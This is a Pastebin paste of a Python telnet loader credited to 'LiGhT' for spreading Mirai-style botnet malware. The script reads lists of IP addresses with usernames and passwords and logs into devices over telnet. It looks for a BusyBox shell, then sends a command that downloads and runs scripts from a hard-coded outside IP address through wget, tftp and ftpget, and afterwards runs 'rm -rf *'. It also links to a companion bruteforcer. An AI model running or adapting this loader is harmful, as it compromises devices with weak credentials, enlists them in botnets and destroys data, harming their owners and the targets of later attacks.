Advertisement
Guest User

Untitled

a guest
Dec 19th, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.32 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet loader v1.3 *FINAL* | By LiGhT
  3. # Update: Loads mirai format lists and "ip:user:pass" regular lists simultaneously
  4. # Bruter: https://pastebin.com/Xuw1usfi
  5.  
  6. import sys, re, os, socket, time
  7. from multiprocessing import Process
  8.  
  9. if len(sys.argv) < 2:
  10. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  11.  
  12. cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://104.196.152.60/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 104.196.152.60 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.196.152.60; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 104.196.152.60 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *" #command to send
  13. info = open(str(sys.argv[1]),'a+')
  14.  
  15. def readUntil(tn, string, timeout=8):
  16. buf = ''
  17. start_time = time.time()
  18. while time.time() - start_time < timeout:
  19. buf += tn.recv(1024)
  20. time.sleep(0.01)
  21. if string in buf: return buf
  22. raise Exception('TIMEOUT!')
  23.  
  24.  
  25. def infect(ip,username,password):
  26. ip = str(ip).rstrip("\n")
  27. username = username.rstrip("\n")
  28. password = password.rstrip("\n")
  29. try:
  30. tn = socket.socket()
  31. tn.settimeout(10)
  32. tn.connect((ip,23))
  33. except Exception:
  34. tn.close()
  35. try:
  36. hoho = ''
  37. hoho += readUntil(tn, "ogin")
  38. if "ogin" in hoho:
  39. tn.send(username + "\n")
  40. time.sleep(0.09)
  41. except Exception:
  42. tn.close()
  43. try:
  44. hoho = ''
  45. hoho += readUntil(tn, "assword:")
  46. if "assword" in hoho:
  47. tn.send(password + "\n")
  48. time.sleep(0.8)
  49. else:
  50. pass
  51. except Exception:
  52. tn.close()
  53. try:
  54. prompt = ''
  55. prompt += tn.recv(40960)
  56. if ">" in prompt and "ONT" not in prompt:
  57. try:
  58. success = False
  59. tn.send("cat | sh" + "\n")
  60. time.sleep(0.1)
  61. timeout = 8
  62. data = ["BusyBox", "Built-in"]
  63. tn.send("sh" + "\n")
  64. time.sleep(0.01)
  65. tn.send("busybox" + "\r\n")
  66. buf = ''
  67. start_time = time.time()
  68. while time.time() - start_time < timeout:
  69. buf += tn.recv(40960)
  70. time.sleep(0.01)
  71. for info in data:
  72. if info in buf and "unrecognized" not in buf:
  73. success = True
  74. break
  75. except:
  76. pass
  77. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  78. try:
  79. success = False
  80. timeout = 8
  81. data = ["BusyBox", "Built-in"]
  82. tn.send("sh" + "\n")
  83. time.sleep(0.01)
  84. tn.send("shell" + "\n")
  85. time.sleep(0.01)
  86. tn.send("help" + "\n")
  87. time.sleep(0.01)
  88. tn.send("busybox" + "\r\n")
  89. buf = ''
  90. start_time = time.time()
  91. while time.time() - start_time < timeout:
  92. buf += tn.recv(40960)
  93. time.sleep(0.01)
  94. for info in data:
  95. if info in buf and "unrecognized" not in buf:
  96. success = True
  97. break
  98. except:
  99. pass
  100. else:
  101. tn.close()
  102. if success == True:
  103. try:
  104. tn.send(cmd + "\n")
  105. print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  106. time.sleep(10)
  107. tn.close()
  108. except:
  109. tn.close()
  110. tn.close()
  111. except Exception:
  112. tn.close()
  113.  
  114. for x in info:
  115. if ":23 " in x:
  116. x = x.replace(":23 ", ":")
  117. xinfo = x.split(":")
  118. session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  119. session.start()
  120. ip=xinfo[0]
  121. username=xinfo[1]
  122. password=xinfo[2]
  123. time.sleep(0.01)
  124. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement